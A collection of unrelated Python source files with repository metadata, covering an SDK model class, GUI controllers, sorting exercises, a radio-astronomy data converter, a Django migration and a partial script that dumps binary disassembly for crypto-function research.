ListPortStatisticsResponse. :rtype: int """ return self._total_num @total_num.setter def total_num(self, total_num): """Sets the total_num of this ListPortStatisticsResponse. 开放端口总数 :param total_num: The total_num of this ListPortStatisticsResponse. :type total_num: int """ self._total_num = total_num @property def data_list(self): """Gets the data_list of this ListPortStatisticsResponse. 开放端口统计信息列表 :return: The data_list of this ListPortStatisticsResponse. :rtype: list[:class:`huaweicloudsdkhss.v5.PortStatisticResponseInfo`] """ return self._data_list @data_list.setter def data_list(self, data_list): """Sets the data_list of this ListPortStatisticsResponse. 开放端口统计信息列表 :param data_list: The data_list of this ListPortStatisticsResponse. :type data_list: list[:class:`huaweicloudsdkhss.v5.PortStatisticResponseInfo`] """ self._data_list = data_list def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, ListPortStatisticsResponse): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
3eab1b761be0160d622ff707caaff063326f4b71
6c5ce1e621e0bd140d127527bf13be2093f4a016
/ex021/venv/Scripts/easy_install-3.7-script.py
e7deca8d0b6f3b28588ce8d8072d461ed000115f
[ "MIT" ]
permissive
ArthurAlesi/Python-Exercicios-CursoEmVideo
124e2ee82c3476a5a49baafed657788591a232c1
ed0f0086ddbc0092df9d16ec2d8fdbabcb480cdd
refs/heads/master
2022-12-31T13:21:30.001538
2020-09-24T02:09:23
2020-09-24T02:09:23
268,917,509
0
0
null
null
null
null
ISO-8859-2
Python
false
false
508
py
#!C:\Users\User\Documents\github-MeusRepositórios\Python-Exercicios-CursoEmVideo\ex021\venv\Scripts\python.exe -x # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install-3.7')() )
a4e86864532a808b15b5e79338f65769c9f59ef7
a2e638cd0c124254e67963bda62c21351881ee75
/Extensions/Default/FPythonCode/FOperationsGenerators.py
d6dd072a59bc78f8da23b710047f349b73f6dd9e
[]
no_license
webclinic017/fa-absa-py3
1ffa98f2bd72d541166fdaac421d3c84147a4e01
5e7cc7de3495145501ca53deb9efee2233ab7e1c
refs/heads/main
2023-04-19T10:41:21.273030
2021-05-10T08:50:05
2021-05-10T08:50:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,719
py
""" Compiled: 2020-09-18 10:38:53 """ #__src_file__ = "extensions/operations/etc/FOperationsGenerators.py" #------------------------------------------------------------------------- # Generator for generating pairs of related objects. #------------------------------------------------------------------------- class PairGenerator(object): #------------------------------------------------------------------------- class Compare: EQUAL = 0 PREDECESSOR = 1 SUCCESSOR = 2 #------------------------------------------------------------------------- @staticmethod def __Next(objs): try: obj = next(objs) except StopIteration as _: obj = None return obj #------------------------------------------------------------------------- @staticmethod def Generate(objs1, objs2, functor): obj1 = PairGenerator.__Next(objs1) obj2 = PairGenerator.__Next(objs2) while obj1 or obj2: compare = functor(obj1, obj2) if obj1 and obj2 else None if compare == PairGenerator.Compare.EQUAL: yield obj1, obj2 obj1 = PairGenerator.__Next(objs1) obj2 = PairGenerator.__Next(objs2) elif (obj1 and not obj2) or compare == PairGenerator.Compare.PREDECESSOR: yield obj1, None obj1 = PairGenerator.__Next(objs1) elif (obj2 and not obj1) or compare == PairGenerator.Compare.SUCCESSOR: yield None, obj2 obj2 = PairGenerator.__Next(objs2)
d2ec78700adbdabb41836c5003016d18c394db8a
4e5b20fdcca20f458322f0a8cd11bbdacb6fb3e5
/test/promotesale/QueryFullReductionTest.py
872c46b84243b6ed269a15938975388fe619df59
[]
no_license
shijingyu/sunningAPI
241f33b0660dc84635ce39688fed499f5c57a5da
4a3b2ef7f9bdc4707d1eaff185bc7eb636fe90d5
refs/heads/master
2020-04-24T22:15:11.584028
2019-02-24T06:41:20
2019-02-24T06:41:20
172,305,179
0
0
null
null
null
null
UTF-8
Python
false
false
475
py
#!usr/bin/python # -*- coding: utf-8 -*- ''' Created on 2014-10-17 @author: suning ''' import sys import os basepath = os.path.dirname(os.path.abspath(sys.argv[0]))+"/../../" sys.path.append(basepath) import suning.api as api a=api.QueryFullReductionRequest() a.pageNo='1' a.pageSize='2' a.startTime='2014-09-09 12:00:00' a.endTime='2014-09-19 12:00:00' a.promotionRange='1' a.statusCode='1' try: f = a.getResponse() print(f) except Exception as e: print(e)
bc91f6c3d59ca8f650fe1a4456caba86df29ab50
bee9d96912078d68877aa53e0c96537677ec3e6a
/peakpo/control/jcpdscontroller.py
45d17941513eb3e86946eed8c7238ac55fde688b
[ "Apache-2.0" ]
permissive
SHDShim/PeakPo
ce0a637b6307787dd84fd3dcb3415e752d180c32
4c522e147e7715bceba218de58ee185cccd2055e
refs/heads/master
2022-06-26T11:26:45.097828
2022-06-19T22:03:24
2022-06-19T22:03:24
94,345,216
17
3
null
null
null
null
UTF-8
Python
false
false
11,139
py
import os import copy from PyQt5 import QtWidgets from PyQt5 import QtCore from PyQt5 import QtGui # import matplotlib.pyplot as plt from matplotlib import colors import matplotlib.cm as cmx from .mplcontroller import MplController from .jcpdstablecontroller import JcpdsTableController from utils import xls_jlist, dialog_savefile, make_filename, get_temp_dir, \ InformationBox, extract_filename, extract_extension from ds_jcpds import JCPDS import pymatgen as mg import datetime class JcpdsController(object): def __init__(self, model, widget): self.model = model self.widget = widget self.jcpdstable_ctrl = JcpdsTableController(self.model, self.widget) self.plot_ctrl = MplController(self.model, self.widget) self.connect_channel() def connect_channel(self): self.widget.pushButton_NewJlist.clicked.connect(self.make_jlist) self.widget.pushButton_RemoveJCPDS.clicked.connect(self.remove_a_jcpds) self.widget.pushButton_AddToJlist.clicked.connect( lambda: self.make_jlist(append=True)) self.widget.checkBox_Intensity.clicked.connect( lambda: self._apply_changes_to_graph(limits=None)) """ self.widget.pushButton_CheckAllJCPDS.clicked.connect( self.check_all_jcpds) self.widget.pushButton_UncheckAllJCPDS.clicked.connect( self.uncheck_all_jcpds) """ self.widget.pushButton_MoveUp.clicked.connect(self.move_up_jcpds) self.widget.pushButton_MoveDown.clicked.connect(self.move_down_jcpds) self.widget.pushButton_ExportXLS.clicked.connect(self.save_xls) self.widget.pushButton_ViewJCPDS.clicked.connect(self.view_jcpds) self.widget.checkBox_JCPDSinPattern.clicked.connect( lambda: self._apply_changes_to_graph(limits=None)) self.widget.checkBox_JCPDSinCake.clicked.connect( lambda: self._apply_changes_to_graph(limits=None)) self.widget.pushButton_ForceUpdatePlot.clicked.connect( lambda: self._apply_changes_to_graph(limits=None)) self.widget.pushButton_SaveTwkJCPDS.clicked.connect( self.write_twk_jcpds) def _apply_changes_to_graph(self, limits=None): self.plot_ctrl.update(limits=limits) def _find_a_jcpds(self): idx_checked = \ self.widget.tableWidget_JCPDS.selectionModel().selectedRows() if idx_checked == []: return None else: return idx_checked[0].row() def make_jlist(self, append=False): """ collect files for jlist """ files = QtWidgets.QFileDialog.getOpenFileNames( self.widget, "Choose JPCDS Files", self.model.jcpds_path, "(*.jcpds)")[0] if files == []: return self.model.set_jcpds_path(os.path.split(str(files[0]))[0]) self._make_jlist(files, append=append) def _make_jlist(self, files, append=False): n_color = 20 # jet = plt.get_cmap('gist_rainbow') jet = cmx.get_cmap('gist_rainbow') cNorm = colors.Normalize(vmin=0, vmax=n_color) c_index = range(n_color) scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=jet) c_value = [value for value in c_index] """ [c_index[0], c_index[3], c_index[6], c_index[1], c_index[4], c_index[7], c_index[2], c_index[5], c_index[8]] """ if append: n_existingjcpds = self.model.jcpds_lst.__len__() n_addedjcpds = files.__len__() if ((n_existingjcpds + n_addedjcpds) > n_color): i = 0 else: i = n_existingjcpds else: self.model.reset_jcpds_lst() i = 0 for f in files: color = colors.rgb2hex(scalarMap.to_rgba(c_value[i])) if self.model.append_a_jcpds(str(f), color): i += 1 if i >= n_color - 1: i = 0 else: QtWidgets.QMessageBox.warning( self.widget, "Warning", f+" seems to have errors in format.") # display on the QTableWidget self.jcpdstable_ctrl.update() if self.model.base_ptn_exist(): self._apply_changes_to_graph() else: self._apply_changes_to_graph(limits=(0., 25., 0., 100.)) def move_up_jcpds(self): # get selected cell number idx_selected = self._find_a_jcpds() if idx_selected is None: QtWidgets.QMessageBox.warning(self.widget, "Warning", "Highlight the item to move first.") return i = idx_selected if i == 0: return former_below = copy.copy(self.model.jcpds_lst[i]) former_above = copy.copy(self.model.jcpds_lst[i-1]) self.model.jcpds_lst[i - 1], self.model.jcpds_lst[i] = \ former_below, former_above # self.model.jcpds_lst[i - 1], self.model.jcpds_lst[i] = \ # self.model.jcpds_lst[i], self.model.jcpds_lst[i - 1] self.widget.tableWidget_JCPDS.clearContents() self.jcpdstable_ctrl.update() self.widget.tableWidget_JCPDS.selectRow(i - 1) def move_down_jcpds(self): # get selected cell number idx_selected = self._find_a_jcpds() if idx_selected is None: QtWidgets.QMessageBox.warning(self.widget, "Warning", "Highlight the item to move first.") return i = idx_selected if i >= self.model.jcpds_lst.__len__() - 1: return former_below = copy.copy(self.model.jcpds_lst[i+1]) former_above = copy.copy(self.model.jcpds_lst[i]) self.model.jcpds_lst[i + 1], self.model.jcpds_lst[i] = \ former_above, former_below # self.model.jcpds_lst[i + 1], self.model.jcpds_lst[i] = \ # self.model.jcpds_lst[i], self.model.jcpds_lst[i + 1] self.widget.tableWidget_JCPDS.clearContents() self.jcpdstable_ctrl.update() self.widget.tableWidget_JCPDS.selectRow(i + 1) """ self.widget.tableWidget_JCPDS.setCurrentItem( self.widget.tableWidget_JCPDS.item(i + 1, 1)) self.widget.tableWidget_JCPDS.setItemSelected( self.widget.tableWidget_JCPDS.item(i + 1, 1), True) self.widget.tableWidget_JCPDS.setItemSelected( self.widget.tableWidget_JCPDS.item(i, 1), False) """ """ def check_all_jcpds(self): if not self.model.jcpds_exist(): return for phase in self.model.jcpds_lst: phase.display = True self.jcpdstable_ctrl.update() self._apply_changes_to_graph() def uncheck_all_jcpds(self): if not self.model.jcpds_exist(): return for phase in self.model.jcpds_lst: phase.display = False self.jcpdstable_ctrl.update() self._apply_changes_to_graph() """ def remove_a_jcpds(self): reply = QtWidgets.QMessageBox.question( self.widget, 'Message', 'Are you sure you want to remove the highlighted JPCDSs?', QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) if reply == QtWidgets.QMessageBox.No: return # print self.widget.tableWidget_JCPDS.selectedIndexes().__len__() idx_checked = [s.row() for s in self.widget.tableWidget_JCPDS.selectionModel(). selectedRows()] # remove checked ones if idx_checked != []: idx_checked.reverse() for idx in idx_checked: self.model.jcpds_lst.remove(self.model.jcpds_lst[idx]) self.widget.tableWidget_JCPDS.removeRow(idx) # self.update_table() self._apply_changes_to_graph() else: QtWidgets.QMessageBox.warning( self.widget, 'Warning', 'In order to remove, highlight the names.') def save_xls(self): """ Export jlist to an excel file """ if not self.model.jcpds_exist(): return temp_dir = get_temp_dir(self.model.get_base_ptn_filename()) filen_xls_t = make_filename(self.model.get_base_ptn_filename(), 'jlist.xls', temp_dir=temp_dir) filen_xls = dialog_savefile(self.widget, filen_xls_t) if str(filen_xls) == '': return xls_jlist(filen_xls, self.model.jcpds_lst, self.widget.doubleSpinBox_Pressure.value(), self.widget.doubleSpinBox_Temperature.value()) def view_jcpds(self): if not self.model.jcpds_exist(): return idx_checked = [ s.row() for s in self.widget.tableWidget_JCPDS.selectionModel().selectedRows()] if idx_checked == []: QtWidgets.QMessageBox.warning( self.widget, "Warning", "Highlight the name of JCPDS to view") return if idx_checked.__len__() != 1: QtWidgets.QMessageBox.warning( self.widget, "Warning", "Only one JCPDS card can be shown at a time.") else: textoutput = self.model.jcpds_lst[idx_checked[0]].make_TextOutput( self.widget.doubleSpinBox_Pressure.value(), self.widget.doubleSpinBox_Temperature.value()) infobox = InformationBox() infobox.setText(textoutput) print(str(datetime.datetime.now())[:-7], ": Show JCPDS \n", textoutput) infobox.exec_() #self.widget.plainTextEdit_ViewJCPDS.setPlainText(textoutput) def write_twk_jcpds(self): if not self.model.jcpds_exist(): return idx_checked = [ s.row() for s in self.widget.tableWidget_JCPDS.selectionModel().selectedRows()] if idx_checked == []: QtWidgets.QMessageBox.warning( self.widget, "Warning", "Highlight the name of JCPDS to write twk jcpds.") return if idx_checked.__len__() != 1: QtWidgets.QMessageBox.warning( self.widget, "Warning", "Only one JCPDS card can be written at a time.") return # get filename to write path, __ = os.path.split(self.model.get_base_ptn_filename()) suggested_filen = os.path.join( path, self.model.jcpds_lst[idx_checked[0]].name + '-twk.jcpds') filen_twk_jcpds = dialog_savefile(self.widget, suggested_filen) if filen_twk_jcpds == '': return # make comments comments = "modified from " + \ self.model.jcpds_lst[idx_checked[0]].file + \ ", twk for " + \ self.model.base_ptn.fname self.model.jcpds_lst[idx_checked[0]].write_to_twk_jcpds( filen_twk_jcpds, comments=comments)
ee987dc97b5aa0a7529752d0e719651d989c6283
741ee09b8b73187fab06ecc1f07f46a6ba77e85c
/AutonomousSourceCode/data/raw/sort/d0d3b906-00e8-4b06-aa81-423fdf44d307__mergesort.py
4121ebe48ffcab855687335df0292d65e95b9edb
[]
no_license
erickmiller/AutomatousSourceCode
fbe8c8fbf215430a87a8e80d0479eb9c8807accb
44ee2fb9ac970acf7389e5da35b930d076f2c530
refs/heads/master
2021-05-24T01:12:53.154621
2020-11-20T23:50:11
2020-11-20T23:50:11
60,889,742
6
1
null
null
null
null
UTF-8
Python
false
false
1,800
py
# nlogn, divide and conquer # recursive def merge_sort(int_array): # base case if len(int_array) == 0: return None elif len(int_array) == 1: return int_array # recursive step else: l = len(int_array)/2 first_half = int_array[:l] second_half = int_array[l:] sorted_first_half = merge_sort(first_half) sorted_second_half = merge_sort(second_half) return merge_sorted_lists(sorted_first_half, sorted_second_half) def merge_sorted_lists(first, second): sorted_complete_list = [] while first or second: if first and second: if first[0] <= second[0]: sorted_complete_list.append(first[0]) first = first[1:] else: sorted_complete_list.append(second[0]) second = second[1:] elif first: sorted_complete_list.extend(first) break elif second: sorted_complete_list.extend(second) break return sorted_complete_list if __name__ == "__main__": # from pudb import set_trace; set_trace() eight_element_list = [8, 0, 12, 2, 5, 7, 3, 10] print eight_element_list print merge_sort(eight_element_list) print odd_number_element_list = [-10, 5, 2, 7, 6, 4.4, 3.75] print odd_number_element_list print merge_sort(odd_number_element_list) print list_w_dups = [8, 8, 3, 3, 3, 4, 4, 0] print list_w_dups print merge_sort(list_w_dups) print sorted_list = [1, 1, 3, 3, 6, 6, 9, 9, 1000, 1000, 5000, 5000, 100000000] print sorted_list print merge_sort(sorted_list) print rev_sorted_list = [10, 9, 8, 7, 6, 0, -5, -10] print rev_sorted_list print merge_sort(rev_sorted_list) print
d8e84cf721c759a8fde3138782a033b35746d27f
c09a4b4f02849c03ba536edda2bf920b655be6bc
/wyl/mvis2uvd.py
915db718f98decc67ab738874bf2d62bda69f28b
[]
no_license
jpober/brownscripts
33bcc70a31694dfb06f1314adb1402316540108c
c25789ec765b018eaad59d99a0a4264c75655265
refs/heads/master
2021-01-23T22:01:19.004636
2020-11-12T18:39:14
2020-11-12T18:39:14
57,912,669
2
2
null
null
null
null
UTF-8
Python
false
false
4,616
py
import sys,optparse,aipy,glob import numpy as np, mp2cal import pyuvdata.uvdata as uvd o = optparse.OptionParser() o.set_usage('mvis2uvd.py [options] obsid') #only takes 1 obsid o.set_description(__doc__) o.add_option('-d',dest='datpath',default='/users/wl42/data/wl42/FHD_out/fhd_MWA_PhaseII_EoR0/',type='string', help='Path to data. Include final / in path.') o.add_option('-s',dest='solpath',default='/users/wl42/data/wl42/Nov2016EoR0/mdl_sol/',type='string', help='Path to omnical solutions. Include final / in path.') o.add_option('-o',dest='outpath',default='/users/wl42/data/wl42/MDLVIS/',type='string', help='Path to save uvfits. Include final / in path.') opts,args = o.parse_args(sys.argv[1:]) exec('from PhaseII_cal import *') obsid = args[0] uv = uvd.UVData() print ' Loading data' fhdlist = glob.glob(opts.datpath+'vis_data/'+obsid+'*') + glob.glob(opts.datpath+'metadata/'+obsid+'*') uv.read_fhd(fhdlist,run_check=False,run_check_acceptability=False) print ' Loading mdlvis' npz_x = np.load(opts.solpath+obsid+'.xx.omni.npz') npz_y = np.load(opts.solpath+obsid+'.yy.omni.npz') ant = [] for k in npz_x.keys(): if k[0].isdigit(): ant.append(int(k[0:-1])) ant.sort() mdvis = {'xx':{}, 'yy':{}} info = mp2cal.wyl.pos_to_info(antpos,ants=ant) a1, a2 = [], [] for ii in range(info.nAntenna): for jj in range(ii,info.nAntenna): a1.append(ii) a2.append(jj) ant_dict = {} for a in ant: ant_dict[info.ant_index(a)] = a reds = info.get_reds() reds_ind = {} ubls = [] chix = npz_x['chisq2'] chiy = npz_y['chisq2'] maskx = chix > 1.2 masky = chiy > 1.2 flag = {} flag['xx'] = np.logical_or(npz_x['flags'], maskx) flag['yy'] = np.logical_or(npz_y['flags'], masky) mask = {'xx': npz_x['flags'], 'yy': npz_y['flags']} for key in npz_x.keys(): if key.startswith('<'): bl,pol = key.split() bl = tuple(map(int,bl[1:-1].split(','))) mdvis[pol][bl] = npz_x[key] ubls.append(bl) for key in npz_y.keys(): if key.startswith('<'): bl,pol = key.split() bl = tuple(map(int,bl[1:-1].split(','))) mdvis[pol][bl] = npz_y[key] for r in reds: ubl = None for bl in ubls: if bl in r: ubl = bl if ubl is None: continue for b in r: reds_ind[b] = ubl Nbls0 = uv.Nbls Nbls1 = info.nAntenna*(info.nAntenna+1)/2 b0 = 128*uv.ant_1_array[:Nbls0] + uv.ant_2_array[:Nbls0] uv.Nbls = Nbls1 uv.Nants_data = info.nAntenna uv.Nants_telescope = info.nAntenna uv.Nblts = uv.Ntimes*uv.Nbls times = np.resize(np.unique(uv.time_array),(uv.Nbls,uv.Ntimes)).T uv.time_array = np.resize(times,(times.size)) lsts = np.resize(np.unique(uv.lst_array),(uv.Nbls,uv.Ntimes)).T uv.lst_array = np.resize(lsts,(lsts.size)) uvw = np.zeros((uv.Nblts,3)) sample = np.ones(chix.shape)*16 for ii in range(384): if ii%16 == 8: sample[:,ii] = 8 uv.ant_1_array = np.array(a1*uv.Ntimes) uv.ant_2_array = np.array(a2*uv.Ntimes) b1 = 128*uv.ant_1_array[:Nbls1] + uv.ant_2_array[:Nbls1] for ii in range(uv.Nbls): i = b1[ii]/128 j = b1[ii]%128 ai = ant_dict[i] aj = ant_dict[j] try: ubli,ublj = reds_ind[(ai,aj)] except: ubli,ublj = ai,aj try: ind = np.where(b0 == 128*ubli + ublj)[0][0] uvw[ii::Nbls1] = uv.uvw_array[ind::Nbls0] except: ind = np.where(b0 == 128*ublj + ubli)[0][0] uvw[ii::Nbls1] = -uv.uvw_array[ind::Nbls0] uv.uvw_array = uvw uv.nsample_array = np.zeros((uv.Nblts,uv.Nspws,uv.Nfreqs,uv.Npols)) uv.data_array = np.zeros((uv.Nblts,uv.Nspws,uv.Nfreqs,uv.Npols),dtype=np.complex64) uv.flag_array = np.ones((uv.Nblts,uv.Nspws,uv.Nfreqs,uv.Npols),dtype=bool) uv.baseline_array = uv.antnums_to_baseline(uv.ant_1_array,uv.ant_2_array) uv.antenna_positions = np.zeros((info.nAntenna,3)) uv.antenna_numbers = np.arange(info.nAntenna) uv.antenna_names = [] for ii in range(info.nAntenna): uv.antenna_names.append(str(ii)) for pp in ['xx','yy']: pn = aipy.miriad.str2pol[pp] pid = np.where(uv.polarization_array==pn)[0][0] for ii in range(uv.Nbls): i = a1[ii] j = a2[ii] ai = ant_dict[i] aj = ant_dict[j] if (ai,aj) in reds_ind.keys(): vis = mdvis[pp][reds_ind[(ai,aj)]] elif (aj,ai) in reds_ind.keys(): vis = mdvis[pp][reds_ind[(aj,ai)]].conj() else: continue uv.data_array[:,0][:,:,pid][ii::uv.Nbls] = vis uv.flag_array[:,0][:,:,pid][ii::uv.Nbls] = flag[pp] uv.nsample_array[:,0][:,:,pid][ii::uv.Nbls] = sample*np.logical_not(mask[pp]) outuvfits = opts.outpath + obsid + '_mvis.uvfits' print ' Writing ' + outuvfits uv.write_uvfits(outuvfits,spoof_nonessential=True)
1713babd927c9dfa4224e1ad3277567e37cb7907
786027545626c24486753351d6e19093b261cd7d
/ghidra9.2.1_pyi/ghidra/app/util/bin/format/pdb2/pdbreader/symbol/AbstractUnknownMsSymbol.pyi
09fd912dc8f16775243884f29d4f2ce850338007
[ "MIT" ]
permissive
kohnakagawa/ghidra_scripts
51cede1874ef2b1fed901b802316449b4bf25661
5afed1234a7266c0624ec445133280993077c376
refs/heads/main
2023-03-25T08:25:16.842142
2021-03-18T13:31:40
2021-03-18T13:31:40
338,577,905
14
1
null
null
null
null
UTF-8
Python
false
false
702
pyi
import ghidra.app.util.bin.format.pdb2.pdbreader.symbol import java.lang class AbstractUnknownMsSymbol(ghidra.app.util.bin.format.pdb2.pdbreader.symbol.AbstractMsSymbol): def emit(self, __a0: java.lang.StringBuilder) -> None: ... def equals(self, __a0: object) -> bool: ... def getClass(self) -> java.lang.Class: ... def getPdbId(self) -> int: ... def hashCode(self) -> int: ... def notify(self) -> None: ... def notifyAll(self) -> None: ... def toString(self) -> unicode: ... @overload def wait(self) -> None: ... @overload def wait(self, __a0: long) -> None: ... @overload def wait(self, __a0: long, __a1: int) -> None: ...
cfa3740ba18f9384af22770130b7148306057883
a96f603b34525f97c4b2fdca9f329aa38ffcc18c
/models/result_time_table_model.py
a705bdd8dd445e922470a4421768a1975e585705
[]
no_license
mparlaktuna/capraz_sevkiyat2.0
d1fbdaaeeec4c4113448aa18b0e58457ca2ad0e5
3d350826084230e2c71b57e0b587e193d72b2985
refs/heads/master
2020-04-06T07:11:14.641477
2016-08-26T14:43:25
2016-08-26T14:43:25
59,899,015
0
0
null
null
null
null
UTF-8
Python
false
false
1,724
py
from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * class ResultTimeTableModel(QAbstractTableModel): def __init__(self, results, number_of_trucks, truck_name): super(ResultTimeTableModel, self).__init__() self.times = results.times try: self.v_header = [truck_name + str(i) for i in range(number_of_trucks)] self.h_header = [a[0] for a in self.times[self.v_header[0]]] except: pass def rowCount(self, QModelIndex_parent=None, *args, **kwargs): try: a = len(self.v_header) except: a = 0 return a def columnCount(self, QModelIndex_parent=None, *args, **kwargs): try: a = len(self.h_header) except: a = 0 return a def headerData(self, p_int, Qt_Orientation, int_role=None): if int_role == Qt.DisplayRole: if Qt_Orientation == Qt.Vertical: try: return QVariant(self.v_header[p_int]) except: return QVariant() elif Qt_Orientation == Qt.Horizontal: try: return QVariant(self.h_header[p_int]) except: return QVariant() else: return QVariant() def data(self, QModelIndex, int_role=None): if not QModelIndex.isValid(): return QVariant() if int_role == Qt.DisplayRole: try: return QVariant(self.times[self.v_header[QModelIndex.row()]][QModelIndex.column()][1]) except: return QVariant() else: return QVariant()
dbdda969b4f93ff83be9126e3528a31fdc8bacf4
cbc3c3e602996fe5561b06545593f1a9a2401f42
/heranca/EmpregadoHorista.py
607bc67e665402c8d950d86dc556ddda133ded26
[]
no_license
ricdtaveira/poo-python
fc06040acd032975e355edf62a8c2983f1d37972
3ecba2ccfcc84f79cfc1ef5247c017e58f36c8d4
refs/heads/master
2021-10-24T17:57:57.051213
2019-03-27T00:10:47
2019-03-27T00:10:47
105,895,238
0
0
null
null
null
null
UTF-8
Python
false
false
484
py
''' Classe Empregado Horista ''' from Empregado import Empregado class EmpregadoHorista(Empregado): ''' Empregado Horista ''' def __init__(self, primeiro_nome, ultimo_nome, salario): super().__init__(primeiro_nome, ultimo_nome, salario) self.__horas = 0 def calcular_pagamento(self): ''' Calcula o Pagamento do Horista ''' return self.__horas * self.salario def adicionar_horas(self, horas): ''' Adicionar Horas ''' self.__horas = self.__horas + horas
4ebdf94e0d8f96f9ac8d65ae46ad57e3e7daeee4
73332abdcadb62f4f262d0c30856c3c257a9ee7d
/tests/environments/__init__.py
d8f2ee2ede569a4f0b62f68bcf1956da8c7c993e
[ "BSD-2-Clause" ]
permissive
code-google-com/oyprojectmanager
454435604cc150c1b54ec2c54294e0fa05490f82
3085ecbe1cc04a73ec69b4848b789009546feae7
refs/heads/master
2021-01-19T02:40:56.342086
2015-01-26T16:40:00
2015-01-26T16:40:00
32,266,400
1
2
null
null
null
null
UTF-8
Python
false
false
206
py
# -*- coding: utf-8 -*- # Copyright (c) 2009-2012, Erkan Ozgur Yilmaz # # This module is part of oyProjectManager and is released under the BSD 2 # License: http://www.opensource.org/licenses/BSD-2-Clause
63530f10dc7fdc29a90fb8237fa885a8b7cc9f3b
590facf811b9ad0e55e5eafbe6a5ed796d76b521
/apps/meetup/migrations/0003_auto_20190428_1649.py
607f35d32482cdf39d2c2855c8736906f8e3ef7c
[]
no_license
wangonya/questioner_django
6193fa779121135b5c903fef599a5bc873107b52
b598d4337b3acc39adf3ef972e50f2d750376ac0
refs/heads/develop
2020-05-16T11:59:16.778797
2019-05-01T16:43:29
2019-05-01T16:43:29
183,032,935
2
1
null
2019-05-01T16:43:30
2019-04-23T14:29:33
Python
UTF-8
Python
false
false
1,083
py
# Generated by Django 2.2 on 2019-04-28 16:49 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('meetup', '0002_auto_20190428_0625'), ] operations = [ migrations.AddField( model_name='votesmodel', name='for_question', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to='meetup.QuestionModel'), preserve_default=False, ), migrations.AddField( model_name='votesmodel', name='vote', field=models.SmallIntegerField(default=1), preserve_default=False, ), migrations.AddField( model_name='votesmodel', name='voter', field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), preserve_default=False, ), ]
50be68b9ed14bc6e7cfa7d618467ffe4b3831cf6
1fc35e54ee4723cfa3d13de713895eac30616847
/baekjun/stage solve/14.sort/2750.py
5c0dafb7b9d7c5d8d8c61146fee82535d5d55b6e
[]
no_license
yhs3434/Algorithms
02f55a5dc21085c0a17d9eaec5e3ba0cbd6d651d
24d234a301077aac1bc4efbb269b41a963cedccf
refs/heads/master
2021-07-12T19:21:00.446399
2021-01-20T01:44:27
2021-01-20T01:44:27
226,431,877
6
0
null
null
null
null
UTF-8
Python
false
false
732
py
# 수 정렬하기 # https://www.acmicpc.net/problem/2750 import sys sys.setrecursionlimit(1000000) def solution(nums): quickSort(nums, 0, len(nums)-1) return nums def quickSort(arr, left, right): if left>=right: return pivot = arr[right] i = left j = left while j<right: if arr[j] < pivot: temp = arr[i] arr[i] = arr[j] arr[j] = temp i+=1 j+=1 else: j+=1 temp = arr[i] arr[i] = pivot arr[right] = temp quickSort(arr, left, i-1) quickSort(arr, i+1, right) n = int(input()) arrr = [] for xxx in range(n): arrr.append(int(input())) nums = solution(arrr) for n in nums: print(n)
ac33194bffd378e21c7449116b073668876615e6
d99ac626d62c663704444a9cce7e7fc793a9e75e
/windows_asm_dump/dump_asm.py
919d0f476a5fa34c1e8c990412b5ca361122bb57
[]
no_license
Experiment5X/CryptoFunctionDetection
3ab32d5573a249d24db1faf772721bc80b8d905d
dac700193e7e84963943593e36844b173211a8a1
refs/heads/master
2023-04-19T09:12:35.828268
2021-05-13T22:39:27
2021-05-13T22:39:27
355,299,557
1
0
null
null
null
null
UTF-8
Python
false
false
5,802
py
import os import re import subprocess from pathlib import Path from collections import OrderedDict class BinaryCollection: def __init__(self, in_directory, out_directory): self.in_directory = in_directory self.out_directory = out_directory def process_all(self, limit=500): binaries_processed = 0 for filename in os.listdir(self.in_directory): file_path_str = os.path.join(self.in_directory, filename) file_path = Path(file_path_str) if not filename.startswith('.'): # file_path.suffix == '.exe' or file_path.suffix == '.dll': file_name_no_exetension = file_path.stem out_asm_path = os.path.join( self.out_directory, f'{file_name_no_exetension}.s' ) out_functions_path = os.path.join( self.out_directory, f'{file_name_no_exetension}_functions.txt' ) binary_file = BinaryFile(file_path_str) if len(binary_file.labels) == 0: continue function_names = binary_file.get_functions() with open(out_functions_path, 'w') as out_functions_file: out_functions_file.writelines([f'{f}\n' for f in function_names]) dumped_functions = binary_file.dump_cleaned_asm(out_asm_path) dumped_functions = set(dumped_functions) for func_name in function_names: if func_name not in dumped_functions: print(f'{func_name} detected as a function but label wasnt dumped to asm file') print(f'Processed {filename}') binaries_processed += 1 if binaries_processed >= limit: break print(f'Processed {binaries_processed} binary files') class BinaryFile: def __init__(self, binary_path): self.binary_path = binary_path self.parse_asm() def dump_assembly(self): result = subprocess.run( ['dumpbin', '/DISASM:NOBYTES', self.binary_path], stdout=subprocess.PIPE ) return result.stdout.decode('utf-8') def load_assembly(self): assembly = self.dump_assembly() asm_lines = assembly.split('\n') if len(asm_lines) < 1000: return [] # remove info at start of dump asm_lines = asm_lines[8:] # strip all lines asm_lines = [l.strip() for l in asm_lines if 